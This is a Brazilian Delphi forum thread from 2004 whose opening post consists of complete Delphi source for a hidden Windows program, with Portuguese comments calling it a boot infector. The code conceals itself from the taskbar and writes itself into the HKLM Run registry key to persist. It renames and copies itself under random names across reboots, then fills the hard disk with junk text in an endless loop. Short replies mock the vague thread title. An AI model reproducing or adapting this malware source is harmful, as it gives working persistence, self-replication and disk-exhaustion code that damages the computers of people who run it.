Fórum TButton.Click(); #220859
17/03/2004
0
unit UPrincipal;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls, Classes,ExtCtrls,Variants, Graphics, Forms,
Dialogs, Registry, ImgList;
type
TfrmPrincipal = class(TForm)
Timer1: TTimer;
procedure FormActivate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
frmPrincipal: TfrmPrincipal;
Registro : Tregistry;
Diretorio, Disco, Boot, Nome : String;
C : Byte; {Auxilia na Capturação do nome que formará o arquivo, assim como sever de controle para o total de vezes executados que irá gerar a Multiplicação do mesmo}
Arm : Variant; {Auxilia na Renomeação do arquivo}
Nunca : Integer;{Procedure "SobreCarrega HD"}
implementation
uses Math;
Procedure Alterar_Nome(Dat_Int : TDateTime);Forward;{"Infecta_Boot" Reconhecer "Alterar_Nome"}
Procedure Registrar;Forward; {"Infecta_Boot" Reconhecer "Registrar"}
Procedure Limpar_Registro;Forward;{"Alterar_Nome" Reconhecer "Limpar_Registro"}
Procedure Total_Execucao;Forward;//"Infectar_Boot" Reconhecer "Total_Execucao"
Procedure Multiplicar; Forward;//"Total_Execucao" Reconhecer "Multiplicar"
Procedure Sobre_Carregar_HD;Forward;//"Infecta_Boot" Reconhecer "Sobre_Carregar_HD"
Procedure Infectar_Boot;{ # INFECTA O BOOT DO SISTEMA }
Begin
Diretorio := ExtractFilePath(Application.ExeName);
Nome := ExtractFileName(Application.ExeName);
Registro := TRegistry.Create;
Registro.RootKey := HKEY_LOCAL_MACHINE;
Total_Execucao;{Controla o total de vezes que o arquivo foi executao, para que o mesmo venha a Multiplicar}
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion´,False);{"False" pq todas as versões do Win possuem essa chave}
If Not Registro.ValueExists(´Version´)Then
Disco := Registro.ReadString(´ProgramFilesDir´){ NT/2000/XP}
Else
Disco := Registro.ReadString(´SystemRoot´);{ Win9X/ME}
Disco := Disco[1] + Disco[2] + Disco[3];
Boot := Disco;
For C := 4 To Length(Diretorio)Do
Boot := Boot + Copy(Diretorio,C,1);
Boot := Boot + Nome;
Registro.CloseKey;
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\Run´,True);
If Not Registro.ValueExists(Nome)Then {Registra apenas o "Pai"}
Begin
Registro.WriteString(Nome,Boot);{# Infecta o Arquivo de Inicialização do Sistema }
Registrar;{Chamada da Procedure "Registrar"}
End
Else
Begin
Alterar_Nome(Date);
End;
Registro.CloseKey; {Controla Todas as Procedures}
FreeAndNil(Registro); {Controla Todas as Procedures}
Sobre_Carregar_HD;
{ CHAMADA DA PROCEDURE QUE ENCHERÁ O HD }
End;
Procedure Registrar;{Só entra aqui quando "Alterar_Nome" ou "Multiplicar"}
Var Ano,Mes,Dia : Word;
Begin
DecodeDate(Date,Ano,Mes,Dia);
Registro.CloseKey;
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion´,True);
Registro.WriteInteger(Nome,Dia); //Só vai ser Registrado quando Alterar o Nome ou Multiplicar
End;
Procedure Alterar_Nome(Dat_Int : TDateTime);
Var Ano,Mes,Dia : Word;
Arq : TextFile;
Novo_Nome : String;
Begin
Registro.CloseKey;
DecodeDate(Dat_Int,Ano,Mes,Dia);
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion´,False);{"False" pq Só chamara "Alterar_Nome" se já tiver Chamado a Procedure "Registrar", que, por sua vez, Criará a chave "CurrentVersion" caso ela não exista}
If Not Registro.ValueExists(Nome)Then {Caso o usuário Exclua o valor da chave, ele criará novamente, evitando erros.}
Begin
Registro.WriteInteger(Nome,1);
Exit;
End
Else
If Dia <> Registro.ReadInteger(Nome)Then
Begin
Randomize; Novo_Nome := IntToStr(RandomRange(1,10000));
Arm := Novo_Nome;
Limpar_Registro;
AssignFile(Arq,Diretorio);
RenameFile(Nome,Novo_Nome + ´.exe´);
Nome := Novo_Nome + ´.exe´;
WinExec(PAnsiChar(Nome),SW_HIDE);
Application.Terminate;
End;
End;
Procedure Limpar_Registro;
Var Sempre : Byte;
Begin
Registro.CloseKey;
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\Run´,False);
Registro.DeleteValue(Nome);
Registro.CloseKey;
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion´,False);
Registro.DeleteValue(Nome);
Registro.CloseKey;
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\DirectRb´,False);
Registro.RenameValue(Nome,IntToStr(Arm)+´.exe´);
Sempre := Registro.ReadInteger(Arm+´.exe´) - 1;{Diminui de uma unidade o total de execução, pois, quando o programa sair desta Procedure, ele irá executar o Programa renomeado, adicionando-o uma unidade neste Valor da chave}
Registro.WriteInteger(Arm+´.exe´,Sempre);
End;
Procedure Total_Execucao;
Begin
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\DirectRb´,True);
If not Registro.ValueExists(Nome) Then
Registro.WriteInteger(Nome,1)
Else
Begin
C := 1 + Registro.ReadInteger(Nome);
Registro.WriteInteger(Nome,C);
Multiplicar;
End;
Registro.CloseKey;
End;
Procedure Multiplicar;{ # INÍCIO DA PERMUTAÇÃO }
Var Arq : TextFile;
Nome_Arq_Ger: String;{Nome_Arq_Ger - Nome do Arquivo que vai ser Gerado}
Begin
If Registro.ReadInteger(Nome) >= 4 Then {A cada 4 "Boots" do Sistema, haverá a multiplicação}
Begin
Randomize; Nome_Arq_Ger := IntToStr(RandomRange(10001,20000));
Registro.WriteInteger(Nome,1);{Zera a contagem para uma próxima permutação}
AssignFile(Arq,Diretorio);
CopyFile(PAnsiChar(Nome),PAnsiChar(Nome_Arq_Ger+´.exe´),Longbool(Diretorio));
Nome := Nome_Arq_Ger+´.exe´;{Troca de nome para evitar que o arquivo gerado atue como o arquivo que lhe gerou}
Registrar;
Registro.CloseKey;
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\Run´,False);
Registro.WriteString(Nome,Diretorio + Nome);
Registro.CloseKey;
Registro.OpenKey(´SOFTWARE\Microsoft\Windows\CurrentVersion\DirectRb´,False);
Registro.WriteInteger(Nome,1);
End;
End;
Procedure Habitat;
Begin
{# CRIAR UM DIRETÓRIO PARA GUARDAR TODOS OS ARQQUIVOS E OCULTÁ-LO }
End;
Procedure Sobre_Carregar_HD;
Var Detona : TextFile;
Begin
Try
AssignFile(Detona, Disco + ´System.txt´);
Repeat
If not FileExists(Disco + ´System.txt´)Then
Begin
Rewrite(Detona);
CloseFile(Detona);
End
Else
Begin
Append(Detona);
Application.ProcessMessages;{Dará Sempre um "Alôzinho" para o Windows}
Write(Detona, ´ ,,,,,(ò_ó),,,,, .....(+_+)..... ´);
Write(Detona, ´0000000000000000000000000000000000000000´);
Write(Detona, ´ ,,,,,(ò_ó),,,,, .....(+_+)..... ´);
Write(Detona, ´0000000000000000000000000000000000000000´);
Write(Detona, ´ ,,,,,(ò_ó),,,,, .....(+_+)..... ´);
Write(Detona, ´0000000000000000000000000000000000000000´);
Write(Detona, ´ ,,,,,(ò_ó),,,,, .....(+_+)..... ´);
Write(Detona, ´0000000000000000000000000000000000000000´);
Write(Detona, ´ ,,,,,(ò_ó),,,,, .....(+_+)..... ´);
Write(Detona, ´0000000000000000000000000000000000000000´);
CloseFile(Detona);
Inc(Nunca);
End;
Until(Nunca = 1000000000000000000);
Finally
Application.Terminate;
End;
End;
{$R *.dfm}
procedure TfrmPrincipal.FormActivate(Sender: TObject);
begin
ShowWindow(Application.Handle,SW_HIDE);{Oculta a aplicação da Barra de Tarefas}
Infectar_Boot;
Application.Minimize;
end;
Initialization
Nunca := 0;
end. Rômulo Barros
Curtir tópico
+ 0Posts
17/03/2004
Maicongabriel
Você quer uma aula sobre o ´seu próprio código´ ? :lol:
Gostei + 0
17/03/2004
Lucas Silva
Concordo!
procure colocar títulos que condizem realmente com a sua dúvida...
Gostei + 0
17/03/2004
Emerson Nascimento
Gostei + 0
17/03/2004
Adsilver
Gostei + 0
Clique aqui para fazer login e interagir na Comunidade :)